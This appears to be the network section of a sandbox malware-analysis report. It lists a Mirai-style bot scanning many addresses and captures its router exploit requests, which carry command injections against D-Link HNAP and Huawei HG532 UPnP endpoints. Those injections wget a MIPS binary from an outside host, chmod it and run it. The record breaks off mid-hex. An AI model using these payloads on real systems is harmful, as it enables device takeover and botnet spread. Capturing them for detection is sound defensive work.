Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 119.54.215.146:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 42.80.17.108:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 41.11.208.114:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 113.141.64.25:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 213.18.186.107:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 71.212.73.86:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 98.158.253.174:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 133.113.89.56:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 202.145.229.61:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 105.193.126.76:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 151.178.250.207:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 174.58.212.254:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 17.142.101.188:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 70.127.185.175:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 168.178.147.84:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 112.7.238.183:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 152.160.77.124:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 152.11.226.68:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 193.240.107.159:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 121.109.81.53:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 106.232.118.167:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 5.171.200.25:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 67.77.232.242:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 184.181.136.75:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 24.179.144.251:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 61.103.194.12:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 42.193.61.231:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 98.203.72.174:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 112.160.154.10:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 196.117.89.131:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:29476 -> 103.59.105.30:8081 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 134.166.98.65:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 156.19.84.65:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 160.28.161.215:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 178.246.79.97:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 186.19.82.92:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 181.117.202.91:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 117.83.157.183:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 175.60.147.58:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 160.227.222.168:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 163.39.198.133:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 194.29.117.122:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 40.72.226.224:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 19.97.241.150:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 205.145.72.60:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 79.235.79.80:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 8.22.67.180:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 148.132.98.182:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 156.84.150.245:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 86.26.50.221:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 169.126.142.64:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 175.220.191.180:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 14.179.76.92:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 120.247.188.232:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 20.212.40.59:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 106.105.142.249:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 49.117.173.91:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 216.62.250.253:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 34.97.106.2:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 35.250.41.58:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 72.45.139.153:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 23.155.96.169:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 65.154.11.90:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 53.87.34.3:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 101.73.145.162:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 79.139.165.180:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 210.180.1.73:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 191.162.101.104:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 9.232.253.89:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 138.211.104.233:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 110.55.172.86:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 205.121.36.83:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 37.215.73.40:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 48.4.239.27:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 84.255.15.16:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 5.117.10.198:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 196.95.45.83:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 129.212.93.42:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 144.26.65.133:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 77.4.37.128:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 186.217.120.82:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 44.125.206.133:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 181.244.163.185:55555 |
Source: global traffic | TCP traffic: 192.168.2.13:30500 -> 8.39.216.127:55555 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 